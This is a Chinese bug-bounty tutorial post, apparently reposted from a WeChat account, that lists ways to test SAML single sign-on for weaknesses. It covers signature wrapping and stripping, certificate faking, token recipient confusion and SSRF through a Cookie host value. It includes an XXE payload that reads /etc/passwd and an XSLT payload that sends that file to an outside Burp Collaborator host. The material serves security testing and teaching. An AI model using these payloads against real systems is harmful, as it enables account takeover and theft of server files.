首页 > 其他分享 >赏金猎人系列-如何测试sso相关的漏洞(II)

赏金猎人系列-如何测试sso相关的漏洞(II)

时间:2022-10-31 12:13:42浏览次数:69  
标签:blog 令牌 saml SAML II sso https com 赏金

   

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

本文选自本人公众号: growing0101

前言

本文承接前文,继续梳理sso漏洞相关的测试方法.

正文

第八种情况

如果发现有uuid的这种形式,可以尝试将其更改为攻击者的uuid,例如,你可以改为内部员工或者说是管理员的账户的电子邮箱;

测试步骤:(工具使用Burp Suite)

  1. 用令牌拦截SAML请求

  2. 将请求发送是Repeater

  3. 切换到SAML Raider标签

  4. 将UUID更改为受害者帐户的UUID

  5. 点击Go

第九种情况

尝试弄清楚服务器是否容易受到XSW(XML Signature Wrapping)的攻击?

测试步骤:

1.用令牌拦截SAML请求
2.将请求发送是Repeater
3.切换到SAML Raider标签
4.选择XSW号码攻击,例如XSW3
5.点击Apply XSW
6.点击Go

第十种情况

试着找出服务器是否容易受到XSE(XML Signature Exclusion )的攻击

测试步骤:

1.用令牌拦截SAML请求
2.将请求发送是Repeater
3.切换到SAML Raider标签
4.点击Remove Signatures
6.点击Go

第十一种情况

试着弄清楚服务器是否检查签名者的身份

测试步骤:

1.用令牌拦截SAML请求

2.将请求发送是Repeater

3.切换到SAML Raider标签

4.点击Sent Certificate至SAML Raider的证书

5.切换至SAML Raider Certificates

6.点击Save and Self-Sign

7.返回至SAML Raider Tab

8.点击On (Re-)Sign message 或者 Assertion 或者 Both

9.点击Go

第十二种情况

尝试在SAML响应的顶部注入XXE有效负载:

 
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.me.com/text.dtd" >]>
<samlp:Response ID="" > <saml:Issuer></saml:Issuer>
<ds:Signature > 
......
&dtd
.....

第十三种情况

尝试将XSLT有效负载作为SAML响应的子节点注入Transforms元素

 
...
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/> <xsl:variable name="escaped" select="encode-for-uri($file)"/> <xsl:variable name="attackerUrl" select="'http://id.burpcollaborator.net/'"/> <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/> <xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template> </xsl:stylesheet> </ds:Transforms>
</ds:Signature> 
...

第十四种情况

如果受害者能够接受由为攻击者提供服务的同一身份提供者所发行的令牌,那么你就可以接管受害者的账户。

测试步骤:

1.拦截SAML令牌响应

2.向受害者发送SAML令牌响应

3.尝试让受害者点击SAML令牌响应

4.从攻击者的浏览器尝试使用SAML令牌响应

第十五种情况

在测试SSO时,尝试在Burp Suite中搜索Cookie头中的url,例如Host=IP;如果有尝试改变IP为你的IP,以获得SSRF


POST /sso HTTP/1.1
Host: www.company.com 
User-Agent: Mozilla/5.0
Cookie: Host=changed-IP:PORT; 
Referer: https://previous.com/path 
Origin: https://www.company.com

RelayState=path&SAMLResponse=base64(SAML-Structure)

更多精彩内容请关注公众号 growing0101

参考

https://hackerone.com/reports/136169

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#xml-signature-wrapping

https://research.aurainfosec.io/bypassing-saml20-SSO/?lipi=urn%3Ali%3Apage%3Ad_flagship3_feed%3BxtHwFzjkSyaBXhbuvBbOYg%3D%3D

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#xml-signature-exclusion

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#certificate-faking

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#certificate-faking

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#xml-external-entity-via-saml

https://web-in-security.blogspot.com/2014/11/detecting-and-exploiting-xxe-in-saml.html

https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#extensible-stylesheet-language-transformation-via-saml

https://www.contextis.com/en/blog/xslt-server-side-injection-attacks

https://web.archive.org/web/20190505230052/https://www.contextis.com/en/blog/xslt-server-side-injection-attacks

https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#token-recipient-confusion

https://www.economyofmechanism.com/office365-authbypass.html

https://medium.com/@th3g3nt3l/how-i-found-an-ssrf-in-yahoo-guesthouse-recon-wins-8722672e41d4

标签:blog,令牌,saml,SAML,II,sso,https,com,赏金
From: https://www.cnblogs.com/richard1230/p/16843839.html

相关文章

  • SpringBoot集成Redisson报错RedissonReactiveRedisConnection.close()
    SpringBoot集成redisson-spring-boot-starter报错:点击查看代码2022-10-3109:30:10.255WARN92312---[isson-netty-2-4]io.netty.util.concurrent.DefaultPromise......
  • PCL错误提示:RuntimeError: : [pcl::PCDWriter::writeASCII] Could not open file for
    参考:(39条消息)PCL错误提示:what()::[pcl::PCDWriter::writeASCII]Couldnotopenfileforwriting!_lykhahaha的博客-CSDN博客_[pcl::pcdwriter::writeascii]couldn......
  • 45.jump-game-ii 跳跃游戏II
    问题描述45.跳跃游戏II解题思路外循环还是从末尾向前遍历,内循环从前往后遍历,每次找能到达终点的索引最小的位置,该位置作为新的终点,同时步数cnt++。代码#include<vect......
  • iis 主子站点隔绝问题
    IIS网站,添加子站(虚拟应用程序)时,避免子站web.config继承主键的web.config的配置,导致子站无法运行,需要配置主键的web.config,解决方法如下:在主站点的<system.web>上一级添......
  • redisson分布式限流[RRateLimiter]源码分析
    接下来在讲一讲平时用的比较多的限流模块--RRateLimiter1.简单使用publicstaticvoidmain(String[]args)throwsInterruptedException{RRateLimiterrateLimit......
  • VS2017 IIS 部署.net core web项目
    直接上内容: 安装IIS这个不在重复,可百度搜索到。 点击IIS查看模块:查看是否安装了AspNetCoreModule模块,如果没有安装可下载:​​http://download.microsoft.com/downlo......
  • 拓端tecdat|R语言辅导Poisson回归的拟合优度检验
    R语言Poisson回归的拟合优度检验在这篇文章中,我们将看一下Poisson回归的拟合优度测试与个体计数数据。许多软件包在拟合Poisson回归模型时在输出中......
  • Windows Server 2008+IIS+php+MySQL环境搭建
    Win2008+IIS+php+MySQL环境搭建一、Windows环境操作系统:WindowsServer2008R2IIS版本:IIS7.5PHP版本:php5.6.9MySQL版本:MySQL5.7.40二、部署IIS1、打......
  • Leetcode 90. 子集 II
    给你一个整数数组nums,其中可能包含重复元素,请你返回该数组所有可能的子集(幂集)。解集不能包含重复的子集。返回的解集中,子集可以按任意顺序排列。示例1:输入:nums=[1......
  • 代码随想录day29 | 491. 递增子序列 46. 全排列 47. 全排列 II
    491.递增子序列题目|文章思路这个题中不能对这个序列进行重新排序,因此需要用到set进行去重实现点击查看代码classSolution{public:vector<vector<int>>f......